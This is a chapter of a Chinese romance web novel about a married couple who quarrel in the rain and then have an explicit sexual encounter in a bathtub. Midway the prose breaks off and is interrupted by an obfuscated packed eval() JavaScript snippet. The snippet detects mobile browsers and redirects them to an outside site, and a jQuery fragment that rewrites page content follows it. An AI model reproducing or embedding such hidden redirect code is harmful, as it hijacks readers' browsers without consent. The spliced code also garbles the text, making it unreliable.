第33章

作品:《少踩我尾巴[先婚后爱]

    今夜暴雨。


    宋若尔撑着一把伞,站在门口,偶有人往来,暴雨连天之下看不清她的模样,只让人觉得有些说不上来的故事。


    这么大的雨,天气冷,她甚至只是穿了一条长裙,刚才出门很临时很突然,宋若尔连外套都没认真选。


    她就在最外面的位置随便抓了一件衣裳。


    换季时候的气温不稳定,忽高忽低的温度让宋若尔觉得,这样的季节有时候很像她的心情。


    她这个人所有的情绪都是这样。


    一会儿高一会儿低的,所以不管是开心的事情还是不开心的事情,在她这里都像过眼云烟。


    瞬间就消失了。


    宋若尔站在外面等他回家,其实也不太清楚自己现在的心情到底是如何,今天也那样…


    一阵开心一阵生气,一会儿又回归平淡。


    她只是站在这里,平静地站在这里。


    挂电话之前,盛知洲有很严肃地叫她回去,他说:“嗯,我现在回来,但距离很远,需要一些时间,你回屋等着。”


    宋若尔不同意。


    她吸了吸被冻得冷冰冰的鼻子,跟他说:“不要。”


    盛知洲:“在犟什么?”


    “在报复你。”宋若尔幼稚地说,“报复你刚才扔下我一个人自己走了,还不接电话,这都是对你的惩罚。”


    “用伤害自己来惩罚我,宋若尔,你怎么这么像个小孩儿。”盛知洲的语气更冰了,“你小时候跟家长吵架是不是会想,我要饿死我自己,让你们失去我这个宝贝。”


    被戳穿的宋若尔:“………………”


    她无法反驳就只能沉默,但在电话挂断的最后一刻,她又小声地说了一句。


    “以前是这样的,因为我知道大家会在乎我。”


    但其实现在她已经不会这样了。


    小时候跟妈妈闹脾气,跟姐姐闹脾气,宋若尔总是喜欢做一些这样的赌气行为。


    后来才意识到,这种赌气的行为其实是一种有恃无恐和叛逆、扭曲的,想要以刺痛对方的手段来确认对方是否真的在乎自己的幼稚手段。


    这个手段她已经很久没有用过了,毕竟的确像是青春期的小孩儿才会做的事情。


    若不是盛知洲说起来,宋若尔其实都没有发现自己又用了这样的手段,或许是因为刚才情绪上头了吧。


    下意识地就——


    反正跟盛知洲这人相处就这样,莫名其妙吵起来,莫名其


    妙就把她的脑子给抽干了。


    根本没有去思考,全是下意识的动作。


    …


    雨势渐渐小了,但空气湿度太大,反而比刚才更冷一些。


    宋若尔冷得打了个喷嚏。


    “……怎么这么久?”她自己都忍不住嘀咕,“到底是跑到那个穷乡僻壤去溜达了…”


    半天没个影儿。


    宋若尔其实真的有点想回家加衣服,但又觉得自己的狠话都放出来了,做什么都要坚持到底。


    她接连打了几个喷嚏,低下头,鼻尖还是养养的。


    宋若尔正在酝酿下一个喷嚏,突然听到重重地一声关门的“嘭”,她半眯着眼抬头看过去。


    模糊的身影,他还穿着晚上那件被她坐过的外套。


    盛知洲快步跑过来的时候,迎面的风掀起他的衣角,宋若尔还没反应过来,就被他挡住了视线。


    宋若尔把刚才那个喷嚏憋了回去,伸手捏了一下自己的鼻尖,她本想开口说点什么。


    盛知洲直接抓起了她的手腕,往回家的方向走。


    他没打伞。


    宋若尔把自己手上的雨伞倾斜过去,但她伸手的位置,不太能盖过他。


    盛知洲个子高,本来就比她高出一个头,这会儿一只手被他抓着往前走着,她的姿势也不方便操作。


    一把伞只能在他的头上扫来扫去。


    她用伞尖撞了**多少次以后,盛知洲终于忍无可忍,说她:“好好撑伞。”


    一副嫌弃她技术不好的态度。


    “不是…你不打伞吗?”宋若尔说,“走那么急干什么,我带的双人雨伞,又不是装不下。”


    盛知洲的确没打算打伞,他在路上已经淋了够多雨了,也不在乎这一点半点的。


    宋若尔顺势扫了一眼盛知洲的表情。


    他的嘴角是下压的。


    虽然盛知洲一天到晚都是摆着这么一张臭脸,但宋若尔略微观察,发现还是有些区别的。


    他要是开心呢——


    就算嘴角不上扬,至少也是平压,不会看着那么生气。


    其实盛知洲本身五官就属于深邃硬朗的,眉眼都是往上走的尖锐走向,而且面部线条锋利,所以整张脸都充满着攻击性。


    盛知洲只要不笑,感觉路过的鬼都要挨两巴掌。


    他的脸真的很冷很臭!


    再加上性格本身就不是那种喜欢热闹的,他大部分时候都是一个人,试图呆在别人看不见的地方。


    但无奈身材气质和脸的外形条件过于突出。


    坐在角落都让人挪不开眼。


    宋若尔一直觉得盛知洲应该不是她喜欢的类型,她从小到大就讨厌那种喜欢摆臭脸的Bking。


    打小就讨厌这种喜欢装逼的男生。


    小时候没少扇人巴掌。


    其实有时候看到盛知洲甩脸色也挺想扇他的,但之前…她那个柔软温柔的人设实在不方便扇人耳光。


    现在…现在没那么想扇他了。


    渐渐开始觉得盛知洲没有那么讨厌。


    可能有些人就是天生脸臭吧,宋若尔帮他这样找补,只是找补到一半,再看盛知洲那个表情。


    宋若尔觉得她有点装不下去了。


    “你那是什么表情?”宋若尔也努力压着心情,没生气,“你生什么气呢。”


    “我生什么气,你应该很清楚才对。”盛知洲回眸看了她一眼,又多注意了一下她穿出来的,很薄的外套。


    他的脚步止住。


    宋若尔以为他要跟自己吵架,结果下一秒,被他脱下来的外套笼了大半个身子。


    他里面只穿了一件宽大的短袖T恤。


    宋若尔想掀开,说:“我不要穿。”


    “还在犟。”盛知洲无情地说她,“你这个犟得莫名其妙的性子什么时候收收?”


    宋若尔一下子就来火了,语气都变得难听了点:“关你什么事!”


    “你说关我什么事?”盛知洲抓着她的手,要继续往前走。


    但宋若尔干脆就站在这儿了,跟他僵持,不继续往前走,盛知洲没有跟她耽误时间。


    他猜到了。


    她一定会傻乎乎地继续站在这里。


    盛知洲索性弯腰,熟练又自然地,直接把宋若尔拦腰抱起,他垂眸看着她,睫毛上还挂着雨水的水珠。


    “有什么要吵的回家再吵。”


    宋若尔被他抱着,快步往家里走,她想,这如果是他关心人的方式,那也太暴力了。


    他就不能跟别人一样,说点软乎乎的好话吗?


    盛知洲抱着她竟然比她自己走还要快一些,他也不说话,不直接抱她上楼,打开浴霸和暖风机,给浴缸里放热水。


    这一套动作一气呵成。


    跟她吵架那么自然,但做这些事情也很自然。


    宋若尔忍不住说他:“所以,你就不能说点好话吗?”


    别老是嘴那么毒。


    “什么好话?”盛知洲用手探了探水


    温。


    “就比如,温柔贴心地问一下我,在外面等你冷不冷呀~”宋若尔觉得自己这简直是手把手教学。


    不会有人哄老婆还需要教学吧?这个人不会是盛知洲吧。


    宋若尔继续说:“然后你还要问我,累不累呀,等会儿需不需要给你按摩一下,再问问我饿没饿什么的…”


    她说完,有些小嘚瑟。


    太厉害啦宋若尔,这么会教,这么细心!!


    但她对自己的夸奖小嘚瑟还没想完,盛知洲确认好水温,转身过来,在她自己出神的时候,伸手把她的衣服扒了。


    不仅如此。


    他还垂着眼看她,说:“有什么好问的?”


    盛知洲把她捞起来,放进水池里。


    宋若尔甚至觉得有些凉,还没说什么,听到盛知洲继续机械地说道。


    “这种明显的,不用动脑子想的事情为什么要问?”


    他的语气像在对待弱智,觉得这种问题就是明知故问,盛知洲的确不是一个喜欢在这种地方浪费话语的人。


    但是——


    宋若尔试图从水里扑腾起来,没时间跟他纠结上个问题了:“盛知洲!”


    他被她的厉声呵斥吼得一愣,下意识皱眉。


    毕竟能用这种态度对他说话的人不多,盛知洲本人就不算是什么听话乖巧的人,骨子里也叛逆反抗。


    不然不至于和家里闹得那么僵持。


    他骨子里一直很硬气,对自己父亲的态度都是那样。


    这会儿倒是被宋若尔凶得没辙。


    “怎么?”他皱着眉问她。


    宋若尔一看他这个表情,更无语了,捧起水泼在他身上:“你是不是就是想冷死我!!!”


    这个水温也太凉了!


    盛知洲面色略微颤动:“冷?”


    “你自己试试冷不冷!”宋若尔气呼呼地说。


    “我试过。”他说,“试好水温才让你进去的。”


    他刚才确实在那儿弄了半天,宋若尔还心想,这人其实挺细心的,结果!结果这是什么!


    宋若尔哼了一声,都不想理他了,把旁边的加热循环按钮打开。


    水温慢慢重新升上来,他趴在旁边,半只手臂搭在水里,感觉到温度的变化。


    “需要这么烫?”盛知洲终于开口。


    宋若尔却还是觉得这个温度有些不够,把温度继续调高了几度。


    她轻嗤了一声,阴阳怪气地说:“哎呀,盛老师原来有嘴啊。”


    盛知洲:“……”


    宋若尔微微点头:“我还以为你不会说话呢。”


    “我不是哑巴。”盛知洲顿了顿,知道她是故意的,“只是没有必要在某些事情上浪费口舌。”


    “浪费?”宋若尔起身,在盛知洲没有反应过来的时候,突然伸手把他猛地也拉进了浴缸里。


    家里浴缸很大,可以轻松容纳两个人。


    只是他们俩从来没有一起洗过。


    一起洗澡是一件非常暧昧的事情,他们俩的相处一直很有边界感。


    毕竟,只在床上熟。


    更准确地说,只有在里面的时候熟,如果只是单纯地躺在一起,也可以不熟。


    宋若尔觉得刚好的水温,对盛知洲来说是有些烫的。


    她的力气不大。


    他可以挣脱,却没有行动。


    “盛知洲,这就是你所谓的浪费。”宋若尔教育他,“你但凡刚才多问我两句,提前问我水温合不合适,我就不会被冷到那一下了!”


    盛知洲解释:“我试过以后觉得合适才——”


    “女性和男性洗澡的水温本来就是不同的,我们需要更高的温度才会觉得舒服。”宋若尔故意问他,“现在的水温你觉得烫么?”


    盛知洲没有回答。


    但宋若尔可以看到他的脖颈皮肤越来越红,连接着耳朵都变得更加烫。


    他明显有被烫到。


    宋若尔觉得要让他多受刑一会儿,没撒手。


    不知道他听进去没,宋若尔觉得自己教太多,他要是没听进去就没劲儿了。


    盛知洲这个自我的人,肯定不爱听。


    不听的时候就不说话。


    宋若尔摁着他的肩膀,突然感觉到盛知洲的眼神在她身上微微停留。


    他声音压着。


    “宋若尔。”盛知洲突然认真叫她的名字。


    “干嘛?”


    “从我身上下去。”他努力维持着冷静的体面,“不然就不是干嘛。”


    盛知洲看了她一眼,嘴角一弯。


    “是**。”


    宋若尔完全没有意识自己坐在哪儿了。


    她一心就是教育这个不张嘴的家伙。


    根本没有那么多心思去关注那些有的没的,但被他一句话点醒以后。


    她就知道了。


    知道归知道,


    但宋若尔不知悔改,坐在他身上,不仅不下去。


    她还往下又坐了一下。


    盛知洲知道她的性子,手从水里摁下去


    ,抓住她的肉,用力地捏了一把。


    是会在她身上留下红痕的力道。


    他问她:“你喜欢这个姿势?”


    他们很少尝试这个位法,毕竟以前宋若尔总是喜欢装乖,不得不说她是非常尽职尽责的演员。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576753|164397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>在床上也不会表露出另外一面。


    她那时候没有什么反抗性,更喜欢当乖乖的枕头公主,宋若尔知道盛知洲其实是控制欲很强的人。


    他非常强势,且具有主导性。


    在每一件事情上都是这样的,盛知洲有强烈的主场意识,所有的节奏都由他来控制。


    在赛场上也是如此。


    盛知洲是所有节奏的核心,也不会允许别人抢夺他的节奏。


    宋若尔一向深知这个道理,所以也不反抗,他想要拿捏什么节奏就让他拿捏。


    反正么。


    她怎么样都享受,总归是舒服的。


    一开始或许有点吃力,他明显是,想做但没那么会做,打电竞的也不接触其他人。


    不纯情但处男。


    但盛知洲举一反三的能力太强,稍微习惯两次就知道了,他会观察她舒服时的表情变化。


    盛知洲从来不问,只是自己记住。


    他知道她想要什么。


    之前两个人以为自己几乎已经把对方摸透了,盛知洲已经熟练掌控一切节奏、方式。


    但现在,竟然又有了新的思路。


    宋若尔骨子里,也是个不服输的人,她看起来的确会喜欢,在上面。


    …


    温度升高,水珠砸在地板上。


    宋若尔看着他的眼睛,像他平时看她那样。


    她和盛知洲都要强,但两个人的行为方式却不太相同,盛知洲善于观察。


    他是沉默着干事的类型。


    而宋若尔是擅长提供情绪价值,会在乎别人想法的引导者。


    今天不用他逼迫,也不需要他诱哄,宋若尔确实是心情又好了。


    她也喜欢这样,控制主场节奏的感觉。


    轮到她控制他的时候,宋若尔心情就好了,什么都愿意给。


    宋若尔趴在他的肩膀上,把脸埋进他的颈窝。


    呼吸从这一处往下落。


    盛知洲问她,“累了?”


    “没那么快。”宋若尔轻轻吐气,“我体力也没那么差,还是说…”


    她说着话,又抬起头来。


    宋若尔双手掐住他的脖子:“还是你想抢我的位置?”


    想跟她换节奏?


    她可不同意。


    盛知洲微微挑眉:“不动不就是累了么。”


    他说完,往上抬了一下。


    宋若尔闷闷地一声,说:“我就是…”


    “就是?”


    “问问你喜欢什么节奏。”宋若尔表示自己是回访,她的尾音勾着颤。


    盛知洲还没回答,伸手摁着她的后腰,本来想把她往下摁,他依旧是不爱言语的行动派。


    宋若尔问归问。


    他不会回答,只会用行动证明自己的喜好。


    但——


    下一秒,宋若尔软黏黏的,又凑近咬住他的耳朵。


    轻声叫了他一道。


    “老公…”


    他的呼吸和感受瞬间被收紧,像是被人死死咬住,理智差点直接崩掉。


    盛知洲不是一个喜欢被人控制节奏的人。


    但如果是宋若尔这样。


    他也可以被控制。


    …


    漫长绵延的时间,宋若尔第一次感受到了主场优势和乐趣。


    俗话说,如果把女人放在男人的位置上,那么她们就会懂得有些事情是如何。


    宋若尔捧着他的脸。


    看着他这张巨冷无比的脸,突然觉得盛知洲帅得有点人神共愤。


    她心情大好,捧着他的脸亲他,跟他接吻。


    盛知洲被她这幅样子逗笑,接连着闷声笑了几回,随后问她。


    “怎么,很喜欢吗?”


    宋若尔点头,把头发撩到后面:“喜欢…喜欢你这样。”


    听话的,乖乖的。


    她也喜欢他听话的时候,就算只是装的。


    宋若尔突然有点理解盛知洲之前对她那忽冷忽热的态度了,虽然平时看着有点烦。


    可能会觉得很装,茶茶的。


    但是那点令人讨厌的伪装出来的乖巧,在床上的时候就全部成了趣味。


    而且这种乖巧听话,可以让控制节奏的人肆意妄为,想做什么就做什么。


    反正对方也不会反抗,不会有任何怨言。


    盛知洲嗯了一声,又问她:“玩够没?”


    对他来说这个过程可能是有点漫长。


    但宋若尔不想让位,摇头说:“当然没有!”


    “那你再说一次。”盛知洲突然伸手,抱紧她,他疯狂地蚕食着她的气味。


    “什么再说一次?”宋若尔不解。


    她刚才没有说什么其他的。


    “说。”盛知洲略微停顿,又清晰地告诉她,“前面那句,说你喜欢。”


    他


    虽然不问别人要什么,但是表达自己需求的时候倒是挺实在。


    宋若尔想,或许他确实也需要一些情绪价值,才能让他更听话。


    男人为了哄女人听话可以使出很多手段,但其实女人哄男人听话也是同样。


    她决定把盛知洲哄好。


    宋若尔低头,一下下地亲他,一边亲他,一边说。


    “喜欢。她随便说了两个字。


    盛知洲没有太大的反应,看起来是不够满意。


    宋若尔继续逗他,“喜欢…喜欢你…?


    这次,她感觉到有一阵跳动的温度,更加明显,心跳脉搏也更加。


    她知道自己猜对了。


    果然,床上的甜言蜜语大家都爱听,虽然说来有些变态,但其实宋若尔也喜欢。


    喜欢盛知洲每次在这种时候,特别是最顶的时候,轻声叫她“老婆。


    那是一种让人腰窝紧缩的感觉。


    宋若尔也会举一反三,她是个聪明的人,对比自己喜欢的感觉,她对盛知洲说。


    “老公…喜欢你…


    “最喜欢你。


    宋若尔的话音刚落,以为自己这次绝对是回答了正确答案,却突然被他反过来。


    盛知洲的眸光变得漆黑,他死死地盯着她。


    “宋若尔。反而是他不叫她老婆了。


    宋若尔愣神,反抗失败:“你怎么耍赖!


    盛知洲看着她,“不耍赖也可以。


    “嗯?


    他突然提出了更过分的要求。


    “说,你最爱我。